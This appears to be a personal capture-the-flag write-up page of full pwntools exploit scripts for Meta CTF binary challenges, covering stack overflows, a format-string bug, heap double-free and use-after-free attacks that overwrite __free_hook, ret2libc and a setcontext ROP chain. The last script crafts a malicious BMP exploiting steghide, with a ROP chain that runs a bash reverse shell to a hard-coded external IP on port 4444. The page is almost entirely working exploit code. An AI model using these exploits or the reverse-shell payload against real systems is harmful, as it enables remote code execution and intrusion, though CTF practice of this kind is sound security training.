Meta CTF
Godd challenges, but some of them a little bit outdated, but still good (some of them really good)
Invoice
#!/usr/bin/env python3
from pwn import *
elf = ELF("./invoice_patched")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
b invoice
b *invoice + 378
continue
'''
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)
def start():
if args.REMOTE:
return remote("host1.metaproblems.com", 5400)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
sla(b"name\n", bc(0xfff0)) #before canary
sla(b"name\n", bc(0xffc0)) #
rop = ROP(elf)
buf = b"A"* 8
buf += b"C"*8
buf += b"D"*8
buf += b"E"*8
buf += b"F"*8 #rbp
buf += p64(rop.find_gadget(["ret"])[0])
buf += p64(elf.sym.win) #rip
payload = b"X"*7
sla(b" name:", payload)
sla(b" name:", buf)
#0xb238469ecb3cbf00
#========= interactive ====================
r.interactive()
Text Game
#!/usr/bin/python3
from pwn import *
elf = ELF("./text-game_patched")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
# context.log_level = "debug"
gs = '''
b main
continue
'''
def start():
if args.REMOTE:
return remote("host1.metaproblems.com", 5950)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
rcu = lambda d1, d2=0: r.recvuntil(d1, drop=True) if not d2 else r.recvuntil(d2, drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name + " = %#x" % val)
# ========= exploit here ===================
sla(b"name?", b"%c%12$hn")
bet = 150
for i in range(55):
sl("1")
sl("heads")
sl(str(bet).encode('ascii'))
bet *= 2
sl("3")
sla(b"or cancel",b"shout-out-from-literally-god")
sla("greater than 0", b"1")
# ========= interactive ====================
r.interactive()
double note
Classic double free, heap challenge:
#!/usr/bin/env python3
from pwn import *
import subprocess
import struct
elf = ELF("./doublenote_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
# context.log_level = "debug"
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote("host1.metaproblems.com", 5820)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
# Utility shorthands
rcu = lambda d1, d2=0: r.recvuntil(d1, drop=True) if not d2 else r.recvuntil(d2, drop=True)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#============== Helper ===================
def double_from_qword(qword):
"""Convert 64-bit int to IEEE-754 double string"""
packed = struct.pack("<Q", qword)
return repr(struct.unpack("<d", packed)[0]).encode()
#================ Wrapper Functions ===================
def create(size):
sl(b"1")
sla(b"Enter the size of your note:", bc(size))
rcu(b">>")
def view(idx):
sl(b"2")
sla(b"Enter the note ID which you want to view:", bc(idx))
r.recvline() # Skip initial confirmation line
values = [] # List to store parsed 64-bit values
while True:
try:
line = r.recvline(timeout=0.5)
if b":" not in line or not line.strip():
break
try:
# Parse and convert double to raw 64-bit
parts = line.strip().split(b":", 1)
dval = float(parts[1].strip())
raw = struct.unpack("<Q", struct.pack("<d", dval))[0]
print(f" chunk -> {hex(raw)}")
values.append(raw)
except Exception as e:
log.warning("Could not parse line: %s", line.strip())
except EOFError:
break
rcu(b">>")
return values
def edit(idx, qword_values):
sl(b"3")
sla(b"Enter the note ID which you want to edit:", bc(idx))
if isinstance(qword_values, list):
for i, val in enumerate(qword_values):
double_val = double_from_qword(val)
r.sendlineafter(b": ", double_val)
if i < len(qword_values) - 1:
sla(b"(y/n)", b"y")
else:
sla(b"(y/n)", b"n")
else:
raise ValueError("edit() expects a list of 64-bit integers")
rcu(">>")
def delete(idx):
sl(b"4")
sla(b"Enter the note ID which you want to delete:", bc(idx))
rcu(">>")
def swap(idx, pos1, pos2):
sl(b"5")
sla(b"Enter the note ID which you want to swap values in:", bc(idx))
sla(b"Enter which double to swap:", bc(pos1))
sla(b"Enter which double to swap with:", bc(pos2))
rcu(">>")
#================ Exploit Here ===================
rcu(b">>")
create(0x9)
create(0x9)
create(0x18)
create(0x18)
create(0x18)
create(0x18)
edit(0, [0x311,0x1]) #overlap
swap(0, 0, 1)
delete(0)
create(0x60)
payload = []
payload += [0x0]*0xa
payload += [0x000000800001000]
payload += [0x602040] #leaking stdout heap chunks array
edit(0, payload)
log.info(f"leaking")
leaks = view(1)
libc.address = leaks[0]-0x3ec680
libcbase()
heap = leaks[4]-0x260
logleak("heap", heap)
delete(3)
delete(2)
payload = []
payload += [0x0]*0xa
payload += [0x000000800001000]
payload += [heap+0x360] #
edit(0, payload)
edit(1, [libc.sym.__free_hook])
create(0x18)
create(0x18)
edit(2, [0x0068732f6e69622f]) #/bin/sh
edit(3, [libc.sym.system])
#free and system on free hook bla bla bla bla
sl(b"4")
rcu(b"delete:")
sleep(0.5)
sl(b"2")
#================ Interactive ====================
r.interactive()
UAF
#!/usr/bin/env python3
from pwn import *
elf = ELF("./uaf_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
continue
'''
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)
def start():
if args.REMOTE:
return remote("127.0.0.1", 1337)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
def create(data):
sl(b"1")
sa(b"here:\n", data)
r.recvuntil(b"Your firewall rule ID is: ")
idx = int(r.recvline())
rcu(b">")
return idx
def view(idx):
sl(b"2")
sla(b"view:\n", bc(idx))
#out = r.recvuntil(b"\n", drop=False)
#if b"Unknown firewall rule ID." in out:
# return None
## Output is: Your rule: <content>
#line = r.recvline().strip()
#if line.startswith(b"Your rule: "):
# return line[len(b"Your rule: "):]
#return line
def edit(idx, data):
sl(b"3")
sla(b"edit:\n", bc(idx))
sa(b"here:\n", data)
r.recvuntil(b">")
def delete(idx: int):
sl(b"4")
sla(b"delete:\n", bc(idx))
r.recvuntil(b">")
def exit_menu():
sl(b"5")
for i in range(8):
create(b"A")
z = create(b"/bin/sh\0")
for i in range(8):
delete(z-1-i)
view(0)
leak = u64(rcu(b"Your rule: ", b"\n").ljust(8,b"\x00"))
rcu(b">")
logleak("libc leak", leak)
libc.address = leak - 0x3ebca0
libcbase()
edit(1, p64(libc.sym.__free_hook))
a = create(b"/bin/sh\0")
create(p64(libc.sym.system))
#shell
sl(b"4")
sleep(0.5)
sl(bc(0)) #mejor manual
#shell just delete
#========= interactive ====================
r.interactive()
Learning path
I liked this one
#!/usr/bin/env python3
from pwn import *
elf = ELF("./learning_path_patched", checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-2.28.so",checksec=False)
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '130']
context.log_level = "info"
gs = '''
b main
continue
'''
def start():
if args.REMOTE:
return remote("host3.metaproblems.com", 5340)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= exploit here ===================
#1 leak
payload = b"%p-"*8
payload += b"A"*(112-len(payload))
payload += b"B"*8 #rbp
payload += p8(0x81)
sa(b"uck!\n", payload)
leak = int(r.recvuntil(b"ood").strip().split(b"-")[1],16)
logleak('lib leak', leak)
libc.address = leak - 0xea461
libcbase()
#2 pwn
rop = ROP(libc)
payload = b"A"*112
payload += b"B"*8
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(rop.find_gadget(["ret"])[0])
payload += p64(libc.sym.system)
sa(b"uck!\n", payload)
#========= interactive ====================
r.interactive()
DMZ FIREWALL
This one was cool also
#!/usr/bin/env python3
from pwn import *
elf = ELF("./dmzf_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '130']
#context.log_level = "debug"
gs = '''
b main
continue
'''
def start():
if args.REMOTE:
return remote("host1.metaproblems.com", 5810)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
else:
return process([elf.path])
r = start()
def rcu(d1, d2=0):
r.recvuntil(d1, drop=True)
if (d2):
return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value
#========= Wrapper funcs ===================
def add(data):
sl(b'add '+ data)
pos = int(rcu(b"Rule added! Your rule ID is: ", b"\n"))
rcu(b">")
return pos
def view(idx):
sl(b'view '+ bc(idx))
return r.recvuntil(b"> ")[:-3]
def delete(idx, wait=True):
sl(b'del '+ bc(idx))
if wait == True:
r.recvuntil(b"> ")
else:
return
#======== Exploit here ======================
try:
#We can add to the largebin to get a heap and libc leak https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/bins_chunks
add(b"A"*0x500) # 0x500 (<0x410) to send to largebin and no tcache because of c++ allocator
add(b"B"*0x500) # this you can leak
add(b"C"*0x500)
delete(2)
delete(1) # we can leak from here later on
delete(0)
pause()
leak = view(1) #leak
add(b"A"*0x37)
add(b"A"*0x37)
add(b"A"*0x37)
add(b"D"*0x410)
add(b"D"*0x410)
delete(3)
delete(0)
delete(1)
delete(2)
print(leak)
#check because remote can be different for env vars like environ
heap_leak = u64(leak[51:57].ljust(8, b"\x00")) #leak
libc_leak = u64(leak[667:673].ljust(8, b"\x00")) #leak
heap = heap_leak - 0x14370
libc.address = libc_leak - 0x3ebcb0
logleak("heap leak", heap_leak)
logleak("heap base", heap)
logleak("libc leak", libc_leak)
logleak("libc base", libc.address)
rop = ROP(libc)
movrdirdx = libc.address + 0x000000000010127a # mov qword ptr [rdx], rdi; ret; setcontext known gadget
#fill c++ vectors? not sure just debugging i took into account
for i in range(0, 14):
add(b"dpla")
#setcontext trick https://hackmd.io/@pepsipu/ry-SK44pt https://blog.kylebot.net/2020/11/20/WCTF-2020-machbooks/
#maybe some other ROP can work here
payload = b"\x00"*0xa0
payload += p64(heap + 0x14c40)
payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
payload += b"B"*80
payload += p64(heap + (0x14c40-0x100))
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += b"/dmzf/fl"
payload += p64(movrdirdx)
payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
payload += p64(heap + (0x14c40-0x100 + 8))
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += b"ag.txt".ljust(8, b"\x00")
payload += p64(movrdirdx)
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += p64(heap + (0x14c40-0x100))
payload += p64(rop.find_gadget(["pop rsi", "ret"])[0])
payload += p64(0)
payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
payload += p64(0)
payload += p64(rop.find_gadget(["pop rax", "ret"])[0])
payload += p64(2)
payload += p64(rop.find_gadget(["syscall", "ret"])[0])# sys_open
payload += p64(rop.find_gadget(["pop rsi", "ret"])[0])
payload += p64(heap + (0x14c40-0x100))
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += p64(3)
payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
payload += p64(61)
payload += p64(rop.find_gadget(["pop rax", "ret"])[0])
payload += p64(0)
payload += p64(rop.find_gadget(["syscall", "ret"])[0])# sys_read
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += p64(1)
payload += p64(rop.find_gadget(["pop rsi", "ret"])[0])
payload += p64(heap + (0x14c40-0x100))
payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
payload += p64(61)
payload += p64(rop.find_gadget(["pop rax", "ret"])[0])
payload += p64(1)
payload += p64(rop.find_gadget(["syscall", "ret"])[0])# sys_write
add(payload) #17 chunk
add(b"YYYYYYYY")
#double free sin protecciones en 2.28
delete(18)
delete(18)
add(b"XXXXXXXX")
add(p64(libc.sym.__free_hook-0x10))
add(b"ZZZZZZZZ")
add(p64(libc.sym.setcontext + 0x35))
log.info(f"Executing setcontext ROP chain")
delete(17, wait=False) # No prompt, because of shell
r.interactive()
except Exception as e:
log.failure("Exception: " + str(e))
try:
log.failure(r.recvall(timeout=2))
except:
pass
finally:
try:
r.close()
except:
pass
Steg hide
This one was cool also, a vulnerability in the steghide binary that was served trough a webserver, you needed to get a reverse shell, was cool to do it.
#!/usr/bin/env python3
from pwn import *
# Use same structure
bmp_header = (
b"\x42\x4d" # Signature 'BM'
b"\x1a\x1b\x00\x00" # File size = 6938 bytes
b"\x00\x00\x00\x00" # Reserved
b"\x1a\x00\x00\x00" # Offset to pixel data (26 bytes)
b"\x0c\x00\x00\x00" # DIB header size = 12 bytes (BITMAPCOREHEADER)
b"\xff\x7f\x00\x00" # Width = 0x7fff = 32767 pixels
b"\x01\x00" # Height = 1
b"\x18\x00" # Bits per pixel = 24bpp
)
fake_pixel_data = (
b"\x6c\x8c\xa2\x61\x86\x9d\x59\x7e\x95\x4f\x7b\x97\x40\x71\x93\x35"
b"\x69\x90\x39\x6e\x93\x3a\x6f\x94\x3d\x71\x96\x3c\x71\x95\x41\x73"
b"\x97\x43\x76\x99\x42\x75\x98\x3e\x72\x99\x40\x70\x97\x41\x74\x97"
b"\x41\x78\x9f\x49\x7f\xa3\x4f\x82"
)
# Overflow payload (can later be ROP or shellcode)
#payload = cyclic(0x2000)
poprdi = 0x0450e8b #pop rdi; ret;
poprsir15 = 0x045b2f9 #pop rsi; pop r15; ret;
poprdx = 0x042cd0c #pop rdx; ret;
popraxrbxrbp = 0x0414d29 #pop rax; pop rbx; pop rbp; ret;
syscall = 0x04066b3 #syscall;
poprsprbp = 0x0406198 #pop rsp; pop rbp; ret;
movptrraxrdx = 0x40b399# mov qword ptr [rax], rdx; nop; pop rbp; ret;
rw = 0x48ac80
ip = "159.203.112.193"
port = 4444
cmd = f"/bin/bash -i >& /dev/tcp/{ip}/{port} 0<&1 2>&1".encode('ascii')
cmd += b"\x00"*7
cmd += p64(0)
cmd_chunks = []
for i in range(0, len(cmd), 8):
chunk = cmd[i:i+8].ljust(8, b'\x00')
cmd_chunks.append(chunk)
payload = p64(popraxrbxrbp)
payload += p64(rw)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += b"/bin/bas"
payload += p64(movptrraxrdx)
payload += p64(0)
payload += p64(popraxrbxrbp)
payload += p64(rw+8)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += b"h".ljust(8,b"\00")
payload += p64(movptrraxrdx)
payload += p64(0)
payload += p64(popraxrbxrbp)
payload += p64(rw+0x10)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += b"-c\0".ljust(8,b"\00")
payload += p64(movptrraxrdx)
payload += p64(0)
for i in range(len(cmd_chunks)):
payload += p64(popraxrbxrbp)
payload += p64(rw+0x18+(i*8))
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += cmd_chunks[i]
payload += p64(movptrraxrdx)
payload += p64(0)
payload += p64(popraxrbxrbp)
payload += p64(rw+0x58)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(rw) #/bin/bash
payload += p64(movptrraxrdx)
payload += p64(0)
payload += p64(popraxrbxrbp)
payload += p64(rw+0x60)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(rw+0x10) #-c
payload += p64(movptrraxrdx)
payload += p64(0)
payload += p64(popraxrbxrbp)
payload += p64(rw+0x68)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(rw+0x18) #revs shell bash >...
payload += p64(movptrraxrdx)
payload += p64(0)
payload += p64(poprdi)
payload += p64(rw)
payload += p64(poprsir15)
payload += p64(rw+0x58)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0)
payload += p64(popraxrbxrbp)
payload += p64(0x3b)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)
payload += p64(0xdeadbeef)
'''
payload += b'/bin/bas' # /bin/bas
payload += b'h -i >& ' # h -i >&
payload += b'/dev/tcp' # /dev/tcp
payload += b'/127.0.0' # /127.0.0
payload += b'.1/4444 ' # .1/4444
payload += b'0<&1 2>&' # 0<&1 2>&
payload += b'1\x00\x00\x00\x00\x00\x00\x00' #
'''
with open("xpl.bmp", "wb") as f:
f.write(bmp_header + fake_pixel_data + payload)
log.success("Malicious BMP written to xpl.bmp")
'''
gadgets
0x0450e8b #pop rdi; ret;
0x045b2f9 #pop rsi; pop r15; ret;
0x042cd0c #pop rdx; ret;
0x0414d29 #pop rax; pop rbx; pop rbp; ret;
0x041d81f #pop rax; pop rbx; pop r12; pop r13; pop rbp; ret;
0x04066b3 #syscall;
0x0406198 #pop rsp; pop rbp; ret;
0x000000000040b399: mov qword ptr [rax], rdx; nop; pop rbp; ret;
rw = 000000000048ac80